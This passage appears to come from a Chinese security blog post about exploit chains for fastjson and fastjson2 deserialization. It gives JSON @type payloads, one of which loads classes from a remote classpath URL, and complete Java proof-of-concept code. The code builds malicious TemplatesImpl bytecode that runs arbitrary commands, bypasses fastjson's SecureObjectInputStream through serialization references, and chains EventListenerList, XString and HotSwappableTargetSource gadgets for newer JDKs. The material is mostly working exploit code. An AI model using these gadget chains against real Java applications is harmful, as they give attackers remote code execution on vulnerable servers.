8
9
10
11
12
13
14
{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}

{
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
     "@type":"org.codehaus.groovy.control.CompilerConfiguration",
     "classpathList":"http://127.0.0.1:9999/"
    }
}

基于java原生反序列化

fastjson<=1.2.48 & fastjson2

具体的请参考原作者博客文章

一整个大致的利用链其实很简单：JSONArray.toString()->JSONArray.toJSONString()->getter

payload（fastjson2同样）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("evil");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "potatowo");
        setValue(templates, "_tfactory", null);


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(val);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

fastjson1通杀

见原作者博客

利用引用绕过JSONArray/JSONObject的raedObject()

在java.io.ObjectOutputStream#writeObject0方法中存在一个判断，当再次写入同一对象时，如果在handles这个哈希表中查到了映射，就会通过writeHandle方法将重复对象以REFERENCE类型写入，因此向List、Set及Map类型中添加同样对象时即可成功利用

序列化时，先将templates加入ArrayList，后续在JSONArray中再次序列化TemplatesImpl时，由于在handles这个哈希表中查到了映射，后续则会以引用形式输出。反序列化时，ArrayList先通过readObject恢复TemplatesImpl对象，之后恢复BadAttributeValueExpException对象，在恢复过程中，由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象，会触发JSONArray/JSONObject的readObject方法，将这个过程委托给SecureObjectInputStream，在恢复JSONArray/JSONObject中的TemplatesImpl对象时，由于此时的第二个TemplatesImpl对象是引用类型，通过readHandle恢复对象的途中不会触发resolveClass，由此实现了绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Main {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] genPayload(String cmd) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }

    public static void main(String[] args) throws Exception{


        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
        setValue(templates, "_name", "1");
        setValue(templates, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        setValue(bd,"val",jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(templates,bd);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();


    }
}

高版本的一些绕过

jdk>=17的时候发现BadAttributeValueExpException.readObject()无法作为source，因此就需要找其他的触发toString()的链拼起来

其他触发toString()

EventListenerList

利用链：EventListenerList.readObject() -> UndoManager#toString() ->Vector#toString()

利用代码

1
2
3
4
5
6
7
Vector vector = new Vector();
vector.add(jsonArray);
UndoManager undoManager = new UndoManager();
setField(undoManager,"edits",vector);
EventListenerList eventListenerList = new EventListenerList();
setField(eventListenerList,"listenerList",new Object[]{Class.class,undoManager});
unser(ser(eventListenerList));

调用栈

1
2
3
4
5
6
toString:886, JSONArray (com.alibaba.fastjson2)
toString:266, CompoundEdit (javax.swing.undo)
toString:695, UndoManager (javax.swing.undo)
add:213, EventListenerList (javax.swing.event)
readObject:309, EventListenerList (javax.swing.event)
readObject:467, ObjectInputStream (java.io)

XString

HashMap#readObject()->putVal()->equals()->XString.equals()->toString()

自己写了个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static HashMap getXString(Object obj) throws Exception{
    //obj传入待触发toString()的，可根据实际情况把XString换了，用来接任意equals

    XString xstring=new XString("");
    HashMap hashMap1 = new HashMap();
    HashMap hashMap2 = new HashMap();
    hashMap1.put("zZ",obj);
    hashMap1.put("yy",xstring);

    hashMap2.put("zZ",xstring);
    hashMap2.put("yy",obj);

    HashMap hashMap = new HashMap();
    hashMap.put("hashMap1", 1);
    hashMap.put("hashMap2", 2);
    setHashMapKey(hashMap,"hashMap1",hashMap1);//避免提前触发抛异常导致程序无法继续进行
    setHashMapKey(hashMap,"hashMap2",hashMap2);

    return hashMap;
}

HotSwappableTargetSource

利用链：HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString

HotSwappableTargetSource类的hashCode()方法始终返回定值

为后续在putVal()中判断哈希冲突提供了可利用条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    public static void main(String[] args) throws Exception {

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(getTemplates());
        unser(ser(getHotSwappableTargetSource(jsonArray)));


    }


public static HashMap getHotSwappableTargetSource(Object obj) throws Exception{

    HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(obj);
    HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("x"));

    HashMap hashMap = new HashMap();
    hashMap.put("1", hotSwappableTargetSource1);
    hashMap.put("2", hotSwappableTargetSource2);
    setHashMapKey(hashMap,"1",hotSwappableTargetSource1);
    setHashMapKey(hashMap,"2",hotSwappableTargetSource2);

    return hashMap;
}